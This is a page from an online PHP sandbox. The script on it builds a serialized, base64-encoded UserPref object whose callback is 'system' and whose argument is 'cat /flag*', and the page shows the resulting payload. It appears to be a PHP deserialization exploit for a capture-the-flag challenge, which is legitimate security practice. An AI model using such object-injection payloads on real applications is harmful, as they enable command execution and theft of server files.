3v4l.org

run code in 500+ PHP versions simultaneously
<?php class UserPref { public $theme; public $lang; public $callback; public $param; } $obj = new UserPref(); $obj->theme = "light"; $obj->lang = "zh"; $obj->callback = "system"; $obj->param = "cat /flag*"; echo base64_encode(serialize($obj)); ?>
Output for git.master_jit, git.master
Tzo4OiJVc2VyUHJlZiI6NDp7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7czo0OiJsYW5nIjtzOjI6InpoIjtzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7czo1OiJwYXJhbSI7czoxMDoiY2F0IC9mbGFnKiI7fQ==

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
48.01 ms | 756 KiB | 4 Q